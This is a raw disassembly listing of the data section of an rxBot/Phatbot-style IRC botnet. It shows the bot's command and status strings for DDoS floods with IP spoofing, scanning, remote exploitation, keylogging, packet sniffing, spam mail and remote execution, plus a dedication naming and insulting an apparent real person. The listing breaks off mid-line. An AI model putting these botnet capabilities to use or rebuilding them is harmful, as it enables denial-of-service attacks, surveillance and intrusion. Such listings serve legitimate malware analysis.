e db 6Eh, 64h, 2 db 3 aNetsendDoesNot db '- NetSend does not work on Win9x systems',0 align 4 unk_42A7FC db 2Dh ; - ; DATA XREF: sub_401ACD+5581o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aSendingMessage db '- Sending message %s times to %s using name %s',0 aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_401ACD+5564o align 10h unk_42A850 db 2Dh ; - ; DATA XREF: sub_401ACD+554Fo db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aFailedToSta_12 db 'Failed to start flood thread, error: <%d>.',0 align 4 unk_42A888 db 2Dh ; - ; DATA XREF: sub_401ACD+54E0o db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aSendingDPingsT db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0 align 10h unk_42A8D0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406EFFo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidFlood_0 db '- Invalid flood time must be greater than 0.',0 align 4 unk_42A908 db 2Dh ; - ; DATA XREF: sub_401ACD+5428o db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aFailedToSta_13 db '- Failed to start flood thread, error: <%d>.',0 align 10h unk_42A940 db 2Dh ; - ; DATA XREF: sub_401ACD+53AEo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aSSFloodingSSFo db '- %s %s flooding: (%s:%s) for %s seconds.',0 align 4 aNormal db 'Normal',0 ; DATA XREF: sub_401ACD+539Eo align 4 aSpoofed db 'Spoofed',0 ; DATA XREF: sub_401ACD+5397o unk_42A984 db 2Dh ; - ; DATA XREF: sub_401ACD+52FCo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidFloodTy db '- Invalid flood type specified.',0 align 10h aRandom_0 db 'random',0 ; DATA XREF: sub_401ACD+52ECo align 4 aAck db 'ack',0 ; DATA XREF: sub_401ACD+52D5o aHcon db 'hcon',0 ; DATA XREF: sub_401ACD+525Fo align 4 aHttpcon db 'httpcon',0 ; DATA XREF: sub_401ACD+524Co unk_42A9CC db 2Dh ; - ; DATA XREF: sub_401ACD+51FDo db 3, 34h, 2 db 65h ; e db 6Dh, 61h, 69h db 6Ch ; l db 2, 3, 2Dh aMessageSentToS db ' Message sent to %s.',0 align 10h aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_401ACD+5189o db 'mail from: <%s>',0Ah db 'rcpt to: <%s>',0Ah db 'data',0Ah db 'subject: %s',0Ah db 'from: %s',0Ah db '%s',0Ah db '.',0Ah,0 aEmail db 'email',0 ; DATA XREF: sub_401ACD+509Eo align 4 aTcp db 'tcp',0 ; DATA XREF: sub_401ACD+5087o aTcpflood db 'tcpflood',0 ; DATA XREF: sub_401ACD+5070o align 4 aP: ; DATA XREF: sub_401ACD+5059o unicode 0, <p>,0 aPing_0 db 'ping',0 ; DATA XREF: sub_401ACD+5042o align 10h aPingflood db 'pingflood',0 ; DATA XREF: sub_401ACD+502Bo align 4 aNs db 'ns',0 ; DATA XREF: sub_401ACD+5014o align 10h aNetsend db 'netsend',0 ; DATA XREF: sub_401ACD+4FFDo aU: ; DATA XREF: sub_401ACD+4FE6o ; ___:00437F88o unicode 0, <u>,0 aUdp db 'udp',0 ; DATA XREF: sub_401ACD+4FCFo aUdpflood db 'udpflood',0 ; DATA XREF: sub_401ACD+4FB8o align 4 aAdvscan db 'advscan',0 ; DATA XREF: sub_401ACD+4F8Ao aPsc db 'psc',0 ; DATA XREF: sub_401ACD+4F73o aPortscan db 'portscan',0 ; DATA XREF: sub_401ACD+4F5Co align 4 aC_a db 'c_a',0 ; DATA XREF: sub_401ACD+4F36o aC_action db 'c_action',0 ; DATA XREF: sub_401ACD+4F1Fo align 4 aC_pm db 'c_pm',0 ; DATA XREF: sub_401ACD+4F08o align 4 aC_privmsg db 'c_privmsg',0 ; DATA XREF: sub_401ACD+4EF1o align 4 aSc db 'sc',0 ; DATA XREF: sub_401ACD+4EDAo align 4 aScan db 'scan',0 ; DATA XREF: sub_401ACD+4EC3o align 4 aRd db 'rd',0 ; DATA XREF: sub_401ACD+4EACo align 4 aRedirect db 'redirect',0 ; DATA XREF: sub_401ACD+4E95o align 4 aJpl10 db 'jpl10',0 ; DATA XREF: sub_401ACD+4E7Eo align 4 aJpldg10 db 'jpldg10',0 ; DATA XREF: sub_401ACD+4E67o aWonk db 'wonk',0 ; DATA XREF: sub_401ACD+4E50o align 4 aPhatwonk db 'phatwonk',0 ; DATA XREF: sub_401ACD+4E39o align 4 dword_42AB08 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401ACD+4E2Co aFailedToSta_14 db '- Failed to start flood thread, error: <%d>.',0 align 4 dword_42AB44 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401ACD+4DBDo aFloodingSSFo_1 db '- Flooding: (%s:%s) for %s seconds.',0 aSkysyn db 'skysyn',0 ; DATA XREF: sub_401ACD+4D3Ao align 4 aSyn db 'syn',0 ; DATA XREF: sub_401ACD+4D23o ; sub_401ACD+52BDo aSynflood db 'synflood',0 ; DATA XREF: sub_401ACD+4D0Co align 4 unk_42AB8C db 2Dh ; - ; DATA XREF: sub_401ACD+4CFFo db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aFailedToSta_15 db '- Failed to start flood thread, error: <%d>.',0 align 4 aWisdom_udp db 'wisdom.udp',0 ; DATA XREF: sub_401ACD+4C28o align 4 aDdos_random db 'ddos.random',0 ; DATA XREF: sub_401ACD+4C11o ; sub_412B08:loc_412C34o aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_401ACD+4BFAo ; sub_412B08:loc_412C18o align 10h aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_401ACD+4BE3o ; sub_412B08+F1o align 4 aC: ; DATA XREF: sub_401ACD+4BCCo ; ___:00437C40o ... unicode 0, <c>,0 aClone_0 db 'clone',0 ; DATA XREF: sub_401ACD+4BB5o align 4 aIcmp db 'icmp',0 ; DATA XREF: sub_401ACD+4B8Co align 10h aIcmpflood db 'icmpflood',0 ; DATA XREF: sub_401ACD+4B75o align 4 aMv db 'mv',0 ; DATA XREF: sub_401ACD+4B5Eo align 10h aRename db 'rename',0 ; DATA XREF: sub_401ACD+4B47o align 4 aFf db 'ff',0 ; DATA XREF: sub_401ACD+4B30o align 4 aFindfile db 'findfile',0 ; DATA XREF: sub_401ACD+4B19o align 4 aE: ; DATA XREF: sub_401ACD+4B02o unicode 0, <e>,0 aExecute db 'execute',0 ; DATA XREF: sub_401ACD+4AEBo aJp10 db 'jp]10',0 ; DATA XREF: sub_401ACD+4AD4o align 4 aJpDe100 db 'jp]de100',0 ; DATA XREF: sub_401ACD+4ABDo align 4 aDe db 'de',0 ; DATA XREF: sub_401ACD+4AA6o align 4 aDelay db 'delay',0 ; DATA XREF: sub_401ACD+4A8Fo align 4 aRp db 'rp',0 ; DATA XREF: sub_401ACD+4A78o align 4 aRepeat db 'repeat',0 ; DATA XREF: sub_401ACD+4A61o ; sub_401ACD+6BE7o align 10h aTsn db 'tsn',0 ; DATA XREF: sub_401ACD+4A4Ao aTsunami db 'tsunami',0 ; DATA XREF: sub_401ACD+4A33o aT3 db 't3',0 ; DATA XREF: sub_401ACD+4A1Co align 10h aTarga3 db 'targa3',0 ; DATA XREF: sub_401ACD+4A05o align 4 aC_p db 'c_p',0 ; DATA XREF: sub_401ACD+49EEo aC_part db 'c_part',0 ; DATA XREF: sub_401ACD+49D7o align 4 aC_j db 'c_j',0 ; DATA XREF: sub_401ACD+49C0o aC_join db 'c_join',0 ; DATA XREF: sub_401ACD+49A9o align 10h aC_n db 'c_n',0 ; DATA XREF: sub_401ACD+4992o aC_nick db 'c_nick',0 ; DATA XREF: sub_401ACD+497Bo align 4 aC_m db 'c_m',0 ; DATA XREF: sub_401ACD+4964o aC_mode db 'c_mode',0 ; DATA XREF: sub_401ACD+494Do align 4 aC_r db 'c_r',0 ; DATA XREF: sub_401ACD+4936o aC_raw db 'c_raw',0 ; DATA XREF: sub_401ACD+491Fo align 4 aM: ; DATA XREF: sub_401ACD+4908o ; ___:00437C50o unicode 0, <m>,0 aCy db 'cy',0 ; DATA XREF: sub_401ACD+48DAo align 4 aCycle db 'cycle',0 ; DATA XREF: sub_401ACD+48C3o align 4 aA: ; DATA XREF: sub_401ACD+48ACo unicode 0, <a>,0 aAction db 'action',0 ; DATA XREF: sub_401ACD+4895o align 10h aPrivmsg_0 db 'privmsg',0 ; DATA XREF: sub_401ACD+4867o aAa db 'aa',0 ; DATA XREF: sub_401ACD+4850o align 4 aAddalias db 'addalias',0 ; DATA XREF: sub_401ACD+4839o align 4 aKl db 'kl',0 ; DATA XREF: sub_401ACD+4822o align 4 aKilllog db 'killlog',0 ; DATA XREF: sub_401ACD+480Bo aGh db 'gh',0 ; DATA XREF: sub_401ACD+47E2o align 4 aGethost db 'gethost',0 ; DATA XREF: sub_401ACD+47CDo aCap db 'cap',0 ; DATA XREF: sub_401ACD+47B8o aCapture db 'capture',0 ; DATA XREF: sub_401ACD+47A3o unk_42AD1C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406265o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aCommandUnknown db '- Command unknown.',0 unk_42AD38 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40625Bo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aNoMessageSpeci db '- No message specified.',0 align 4 aSend db 'send',0 ; DATA XREF: sub_401ACD+475Eo ; sub_409B12+5F0o align 4 unk_42AD64 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40621Eo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListFailed db '- User list failed.',0 align 4 unk_42AD84 db 2Dh ; - ; DATA XREF: sub_401ACD+4747o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListComple db '- User list completed.',0 aUser db 'user',0 ; DATA XREF: sub_401ACD+46D3o align 4 unk_42ADAC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406193o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListFaile db '- Share list failed.',0 align 4 unk_42ADCC db 2Dh ; - ; DATA XREF: sub_401ACD+46BCo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListCompl db '- Share list completed.',0 align 10h aShare db 'share',0 ; DATA XREF: sub_401ACD+466Eo align 4 aContinue db 'continue',0 ; DATA XREF: sub_401ACD+462Ao align 4 aPause db 'pause',0 ; DATA XREF: sub_401ACD+4610o align 4 aStop db 'stop',0 ; DATA XREF: sub_401ACD+45F6o align 4 unk_42AE14 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4060B6o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aServiceListFai db '- Service list failed.',0 unk_42AE34 db 2Dh ; - ; DATA XREF: sub_401ACD+45DFo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aServiceListCom db '- Service list completed.',0 align 4 aStart db 'start',0 ; DATA XREF: sub_401ACD+45A9o align 10h unk_42AE60 db 2Dh ; - ; DATA XREF: sub_401ACD+4577o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aFailedToLoadAd db '- Failed to load advapi32.dll or netapi32.dll.',0 aNet db 'net',0 ; DATA XREF: sub_401ACD+4553o dword_42AE9C dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+4548o aFailedToStartL db '- Failed to start logging thread, error: <%d>.',0 align 4 dword_42AED8 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+44D9o aKeyLoggerActiv db '- Key logger active.',0 align 4 dword_42AEFC dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+4457o aAlreadyRunning db '- Already running.',0 align 4 dword_42AF1C dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD:loc_405F0Eo aNoKeyLoggerThr db '- No key logger thread found.',0 align 4 dword_42AF48 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+4437o aKeyLoggerStopp db '- Key logger stopped. (%d thread(s) stopped.)',0 align 4 aFile db 'file',0 ; DATA XREF: sub_401ACD+43F8o align 4 aKeylog db 'keylog',0 ; DATA XREF: sub_401ACD+43D6o align 4 dword_42AF94 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD:loc_405E98o aNoThreadFound_ db '- No thread found.',0 align 4 dword_42AFB4 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+43C1o aServerStopped_ db '- Server stopped. (%d thread(s) stopped.)',0 align 4 dword_42AFEC dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4391o aFailedToSta_16 db '- Failed to start server, error: <%d>.',0 align 10h dword_42B020 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4344o aServerRunnin_0 db '- Server running on Port: 113.',0 align 4 dword_42B04C dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4334o aAlreadyRunni_0 db '- Already running.',0 align 4 aIdent db 'ident',0 ; DATA XREF: sub_401ACD+4301o align 4 unk_42B074 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_405DC3o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aNoPhatbotSniff db '- No Phatbot sniffer thread found.',0 unk_42B0A4 db 2Dh ; - ; DATA XREF: sub_401ACD+42ECo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aPhatbotSniffer db '- Phatbot sniffer stopped. (%d thread(s) stopped.)',0 unk_42B0E4 db 2Dh ; - ; DATA XREF: sub_401ACD+42BCo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aFailedToSta_17 db '- Failed to start sniffer thread, error: <%d>.',0 unk_42B120 db 2Dh ; - ; DATA XREF: sub_401ACD+424Do db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aPhatbotPacketS db '- Phatbot packet sniffer active.',0 align 10h unk_42B150 db 2Dh ; - ; DATA XREF: sub_401ACD+41E6o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aAlreadyRunni_1 db '- Already running.',0 aSniffer db 'sniffer',0 ; DATA XREF: sub_401ACD+41AFo dword_42B178 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD:loc_405C71o aNoCarnivoreThr db '- No Carnivore thread found.',0 align 4 dword_42B1A4 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+419Ao aCarnivoreStopp db '- Carnivore stopped. (%d thread(s) stopped.)',0 align 10h dword_42B1E0 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+416Ao aFailedToSta_18 db '- Failed to start sniffer thread, error: <%d>.',0 align 4 dword_42B21C dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+40FBo aCarnivorePacke db '- Carnivore packet sniffer active.',0 align 4 dword_42B24C dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+4094o aAlreadyRunni_2 db '- Already running.',0 align 4 aOn db 'on',0 ; DATA XREF: sub_401ACD+4074o ; sub_401ACD+41C6o ... align 10h aPsniff db 'psniff',0 ; DATA XREF: sub_401ACD+405Do align 4 aRf db 'rf',0 ; DATA XREF: sub_401ACD+4048o align 4 aReadfile db 'readfile',0 ; DATA XREF: sub_401ACD+4033o align 4 aCm db 'cm',0 ; DATA XREF: sub_401ACD+401Eo align 4 aCmd db 'cmd',0 ; DATA XREF: sub_401ACD+4009o aMirc db 'mirc',0 ; DATA XREF: sub_401ACD+3FF4o align 4 aMirccmd db 'mirccmd',0 ; DATA XREF: sub_401ACD+3FDFo aV: ; DATA XREF: sub_401ACD+3FCAo ; ___:00437C44o ... unicode 0, <v>,0 aVisit db 'visit',0 ; DATA XREF: sub_401ACD+3FB5o align 4 aLi db 'li',0 ; DATA XREF: sub_401ACD+3FA0o align 10h aList db 'list',0 ; DATA XREF: sub_401ACD+3F8Bo align 4 aGt db 'gt',0 ; DATA XREF: sub_401ACD+3F76o align 4 aDel db 'del',0 ; DATA XREF: sub_401ACD+3F4Co aDelete db 'delete',0 ; DATA XREF: sub_401ACD+3F37o ; sub_401ACD+4644o align 4 aKi db 'ki',0 ; DATA XREF: sub_401ACD+3F22o align 4 aKill db 'kill',0 ; DATA XREF: sub_401ACD+3F0Do align 4 aKp db 'kp',0 ; DATA XREF: sub_401ACD+3EF8o align 4 aKillproc db 'killproc',0 ; DATA XREF: sub_401ACD+3EE3o align 4 aDn db 'dn',0 ; DATA XREF: sub_401ACD+3ECEo align 4 aDns db 'dns',0 ; DATA XREF: sub_401ACD+3EB9o aSe db 'se',0 ; DATA XREF: sub_401ACD+3EA4o align 10h aServer db 'server',0 ; DATA XREF: sub_401ACD+3E8Fo align 4 aO: ; DATA XREF: sub_401ACD+3E7Ao unicode 0, <o>,0 aOpen db 'open',0 ; DATA XREF: sub_401ACD+3E65o ; sub_401ACD+590Bo ... align 4 aPr db 'pr',0 ; DATA XREF: sub_401ACD+3E50o align 4 aPrefix db 'prefix',0 ; DATA XREF: sub_401ACD+3E3Bo align 10h aC_rn db 'c_rn',0 ; DATA XREF: sub_401ACD+3E26o align 4 aC_rndnick db 'c_rndnick',0 ; DATA XREF: sub_401ACD+3E11o align 4 aC_q db 'c_q',0 ; DATA XREF: sub_401ACD+3DFCo aC_quit db 'c_quit',0 ; DATA XREF: sub_401ACD+3DE7o align 10h aKillthread db 'killthread',0 ; DATA XREF: sub_401ACD+3DBDo align 4 aRaw db 'raw',0 ; DATA XREF: sub_401ACD+3D93o aPt db 'pt',0 ; DATA XREF: sub_401ACD+3D7Eo align 4 aJ: ; DATA XREF: sub_401ACD+3D54o ; ___:00437C2Co unicode 0, <j>,0 aN: ; DATA XREF: sub_401ACD+3D2Ao ; ___:00437C4Co unicode 0, <n>,0 unk_42B34C db 2Dh ; - ; DATA XREF: sub_401ACD+3CF6o db 3, 34h, 2 db 69h ; i db 72h, 63h, 66h db 75h ; u db 63h, 6Bh, 2 db 3 aDisconnectingC db '- disconnecting clones...',0 align 4 aNickservRegist db 'nickserv register %s %s',0 ; DATA XREF: sub_401ACD+3C92o aRegister db 'register',0 ; DATA XREF: sub_401ACD+3C69o align 4 aPrivmsgSS_0 db 'PRIVMSG %s :%s',0 ; DATA XREF: sub_401ACD+3C10o align 4 aMix db 'mix',0 ; DATA XREF: sub_401ACD+3B43o dword_42B3AC dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h ; DATA XREF: sub_401ACD+3AEFo ; sub_401ACD+3B26o dd 0 dword_42B3C4 dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h ; DATA XREF: sub_401ACD+3AB8o dd 1 dword_42B3DC dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h ; DATA XREF: sub_401ACD+3A81o ; sub_401ACD+3B98o aCtcp db 'ctcp',0 ; DATA XREF: sub_401ACD+3A2Co align 4 aNoticeSS_0 db 'NOTICE %s :%s',0 ; DATA XREF: sub_401ACD+3997o ; sub_401ACD+39D3o ... align 4 aNotice_0 db 'notice',0 ; DATA XREF: sub_401ACD+393Do align 10h aMsg db 'msg',0 ; DATA XREF: sub_401ACD+384Eo aChgnick db 'chgnick',0 ; DATA XREF: sub_401ACD+3807o aNick_0 db 'nick',0 ; DATA XREF: sub_401ACD+3705o ; sub_401ACD+3D15o align 4 dword_42B424 dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h ; DATA XREF: sub_401ACD+36E8o dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1 dword_42B44C dd 636364h ; DATA XREF: sub_401ACD+366Bo dword_42B450 dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: sub_401ACD+351Eo dword_42B45C dd 4B43494Eh, 732520h ; DATA XREF: sub_401ACD+3501o ; sub_401ACD+3762o ... dword_42B464 dd 69257325h, 0 ; DATA XREF: sub_401ACD+34E6o ; sub_40ACB5+4Fo ... aPnick db 'pnick',0 ; DATA XREF: sub_401ACD+34A5o align 4 aPartSS db 'part %s %s',0 ; DATA XREF: sub_401ACD+3488o ; sub_401ACD+3578o ... align 10h aPartflood db 'partflood',0 ; DATA XREF: sub_401ACD+3461o align 4 aPartS db 'part %s',0 ; DATA XREF: sub_401ACD+3444o aPart_0 db 'part',0 ; DATA XREF: sub_401ACD+3422o ; sub_401ACD+3D69o align 4 aJoinS db 'join %s',0 ; DATA XREF: sub_401ACD+3405o ; sub_401ACD+354Co ... aJoin db 'join',0 ; DATA XREF: sub_401ACD+33E3o ; sub_401ACD+3D3Fo align 4 aModeSS db 'mode %s %s',0 ; DATA XREF: sub_401ACD+33C6o align 4 aMode db 'mode',0 ; DATA XREF: sub_401ACD+3377o ; sub_401ACD+48F1o align 10h aNoticeSS_1 db 'notice %s :%s',0 ; DATA XREF: sub_401ACD+335Ao align 10h aNt db 'nt',0 ; DATA XREF: sub_401ACD+330Bo align 4 dword_42B4D4 dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0 ; DATA XREF: sub_401ACD+32EEo dword_42B4E8 dd 7463h ; DATA XREF: sub_401ACD+329Fo dword_42B4EC dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: sub_401ACD+3282o ; sub_401ACD+38A8o ... dword_42B4FC dd 5Fh ; DATA XREF: sub_401ACD+3253o ; sub_401ACD+32BFo ... dword_42B500 dd 6D70h ; DATA XREF: sub_401ACD+3233o ; sub_401ACD+487Eo unk_42B504 db 2Dh ; - ; DATA XREF: sub_401ACD+3201o db 3, 34h, 2 db 69h ; i db 72h, 63h, 66h db 75h ; u db 63h, 6Bh, 2 db 3 aSClonesLoadedT db '- %s clones loaded to %s:%s',0 align 10h aLoad db 'load',0 ; DATA XREF: sub_401ACD+31AAo align 4 aFlood db 'flood',0 ; DATA XREF: sub_401ACD+3181o align 10h aRinms db 'rinms',0 ; DATA XREF: sub_401ACD+316Ao align 4 aReconnect_in_m db 'reconnect.in.ms',0 ; DATA XREF: sub_401ACD+3155o aRin db 'rin',0 ; DATA XREF: sub_401ACD+3140o aReconnect_in db 'reconnect.in',0 ; DATA XREF: sub_401ACD+312Bo align 4 unk_42B56C db 2Dh ; - ; DATA XREF: sub_401ACD+3120o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aFailedToStartE db '- Failed to start exploiter thread, error: <%d>.',0 align 4 unk_42B5AC db 2Dh ; - ; DATA XREF: sub_401ACD+30AEo db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aAttemptingToCo db '- attempting to compromise %s...',0 align 4 aExploit db 'exploit',0 ; DATA XREF: sub_401ACD+3028o unk_42B5E4 db 2Dh ; - ; DATA XREF: sub_401ACD+300Eo db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofIpSetToS_ db ' Spoof IP set to ',27h,'%s',27h,'.',0 align 10h unk_42B610 db 2Dh ; - ; DATA XREF: sub_401ACD+2FF0o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSIsAnInvalidIp db ' ',27h,'%s',27h,' is an invalid IP address.',0 aD_D_D_ db '%d.%d.%d.*',0 ; DATA XREF: sub_401ACD+2FCCo align 10h unk_42B650 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_404A40o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofingCurren db ' Spoofing currently set to ',27h,'%s',27h,'.',0 align 4 aGet db 'get',0 ; DATA XREF: sub_401ACD:loc_404A22o ; sub_401ACD+3F61o unk_42B68C db 2Dh ; - ; DATA XREF: sub_401ACD+2EDAo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aInvalidLoginSl db 'Invalid login slot number: %d.',0 align 4 unk_42B6B8 db 2Dh ; - ; DATA XREF: sub_401ACD+2ED2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aNoUserLoggedIn db 'No user logged in at slot: %d.',0 align 4 dword_42B6E4 dd 234032Dh, 6E69616Dh, 202D0302h, 7325h ; DATA XREF: sub_401ACD+2E7Do unk_42B6F4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40493Bo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aThisModOfRxbot db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir' db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress ' db 'from Hell?) who I love so much.',0 align 4 dword_42B7A4 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_401ACD+2E4Bo aFailedToSta_19 db '- Failed to start secure thread, error: <%d>.',0 align 10h dword_42B7E0 dd 234032Dh, 75636573h, 3026572h, 7325202Dh, 73797320h ; DATA XREF: sub_401ACD+2DD1o dd 2E6D6574h, 0 aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_401ACD+2DCBo align 4 aSecuring db 'Securing',0 ; DATA XREF: sub_401ACD+2DC4o align 4 unk_42B814 db 2Dh ; - ; DATA XREF: sub_401ACD+2D4Do db 3, 34h, 2 db 62h ; b db 69h, 6Eh, 64h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aFailedToSta_20 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_42B854 db 2Dh ; - ; DATA XREF: sub_401ACD+2CC9o db 3, 34h, 2 db 62h ; b db 69h, 6Eh, 64h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aServerStartedO db ' Server started on: %s:%d.',0 align 10h dword_42B880 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401ACD+2C47o aFailedToSta_21 db '- Failed to start server thread, error: <%d>.',0 align 4 dword_42B8BC dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401ACD+2BD8o aServerStarte_0 db '- Server started on: %s:%d.',0 dword_42B8E4 dd 234032Dh, 646E6966h, 656C6966h, 2D0302h ; DATA XREF: sub_401ACD+2B25o dword_42B8F4 dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_401ACD+2B20o dword_42B900 dd 234032Dh, 636F7270h, 2D030273h, 0 ; DATA XREF: sub_401ACD+2B0Do dword_42B910 dd 636F7250h, 20737365h, 7473696Ch, 0 ; DATA XREF: sub_401ACD+2B08o dword_42B920 dd 234032Dh, 6E69616Dh, 202D0302h, 6F636552h, 63656E6Eh ; DATA XREF: sub_401ACD+2A95o dd 676E6974h, 2Eh aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404555o ; sub_401ACD:loc_409778o ... align 4 dword_42B954 dd 234032Dh, 6E69616Dh, 202D0302h, 63736944h, 656E6E6Fh ; DATA XREF: sub_401ACD+2A73o dd 6E697463h, 2E67h aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404533o align 4 aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_40451Do ; sub_401ACD+7A7Eo align 4 aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+2A3Eo align 4 unk_42B9A4 db 2Dh ; - ; DATA XREF: sub_401ACD+2A17o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aStatusReady_Bo db 'Status: Ready. Bot Uptime: %s.',0 align 10h dword_42B9D0 dd 234032Dh, 6E69616Dh, 202D0302h, 20746F42h, 203A4449h ; DATA XREF: sub_401ACD+29D8o dd 2E7325h unk_42B9E8 db 2Dh ; - ; DATA XREF: sub_401ACD+29C9o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aFailedToSta_22 db '- Failed to start list thread, error: <%d>.',0 align 4 dword_42BA24 dd 234032Dh, 65726874h, 2736461h, 4C202D03h, 20747369h ; DATA XREF: sub_401ACD+295Ao dd 65726874h, 2E736461h, 0 dword_42BA44 dd 627573h ; DATA XREF: sub_401ACD+2934o dword_42BA48 dd 234032Dh, 6E69616Dh, 202D0302h, 61696C41h, 696C2073h ; DATA XREF: sub_401ACD+28E2o dd 2E7473h unk_42BA60 db 2Dh ; - ; DATA XREF: sub_401ACD+28C7o db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aFailedToSta_23 db '- Failed to start listing thread, error: <%d>.',0 dword_42BA98 dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh ; DATA XREF: sub_401ACD+2858o dd 